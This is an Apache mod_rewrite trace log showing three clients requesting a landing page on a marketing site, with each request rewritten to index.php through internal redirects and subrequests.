[Mon Nov 10 18:31:58.271011 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271103 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271122 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271140 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271157 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271168 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271179 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271191 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271202 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271212 2025] [rewrite:trace1] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b4017730/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271378 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271404 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271414 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271427 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271437 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271447 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271465 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271479 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271489 2025] [rewrite:trace1] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40c0888/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271721 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271750 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271772 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271787 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271799 2025] [rewrite:trace4] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271812 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271822 2025] [rewrite:trace3] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271832 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271841 2025] [rewrite:trace2] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:31:58.271850 2025] [rewrite:trace1] [pid 5673:tid 5739] mod_rewrite.c(505): [client 185.220.100.251:45206] 185.220.100.251 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b40cdb20/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520436 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520504 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520521 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520542 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520555 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520564 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520575 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520586 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520596 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520605 2025] [rewrite:trace1] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b0042200/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520703 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520731 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520744 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520756 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='index.php/AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520767 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520777 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520795 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520808 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='on' pattern='off' => not-matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.520818 2025] [rewrite:trace1] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00124d0/initial/redir#1] [perdir /home/measureyourbrand/public_html/] pass through /home/measureyourbrand/public_html/index.php, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521008 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521051 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521065 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521071 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521081 2025] [rewrite:trace4] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521082 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521092 2025] [rewrite:trace3] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521101 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521110 2025] [rewrite:trace2] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.521119 2025] [rewrite:trace1] [pid 5672:tid 5725] mod_rewrite.c(505): [client 185.225.69.222:40280] 185.225.69.222 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb1b00dbb80/subreq] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.925959 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] strip per-dir prefix: /home/measureyourbrand/public_html/AutomatedBusinessLanding -> AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926044 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] applying pattern '^(.*)$' to uri 'AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926075 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='AutomatedBusinessLanding' pattern='!^(index\\.php|images|robots\\.txt)' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926105 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-f' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926129 2025] [rewrite:trace4] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] RewriteCond: input='/home/measureyourbrand/public_html/AutomatedBusinessLanding' pattern='!-d' => matched, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926148 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] rewrite 'AutomatedBusinessLanding' -> 'index.php/AutomatedBusinessLanding', referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926168 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] add per-dir prefix: index.php/AutomatedBusinessLanding -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926188 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] setting lastsub to rule with output index.php/$1, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926209 2025] [rewrite:trace2] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] strip document_root prefix: /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding -> /index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926227 2025] [rewrite:trace1] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c051960/initial] [perdir /home/measureyourbrand/public_html/] internal redirect with /index.php/AutomatedBusinessLanding [INTERNAL REDIRECT], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
[Mon Nov 10 18:32:03.926399 2025] [rewrite:trace3] [pid 5671:tid 5682] mod_rewrite.c(505): [client 185.40.4.143:40428] 185.40.4.143 - - [measureyourbrand.com.au/sid#2196b3e8][rid#7fb19c050708/initial/redir#1] [perdir /home/measureyourbrand/public_html/] add path info postfix: /home/measureyourbrand/public_html/index.php -> /home/measureyourbrand/public_html/index.php/AutomatedBusinessLanding, referer: https://measureyourbrand.com.au/AutomatedBusinessLanding
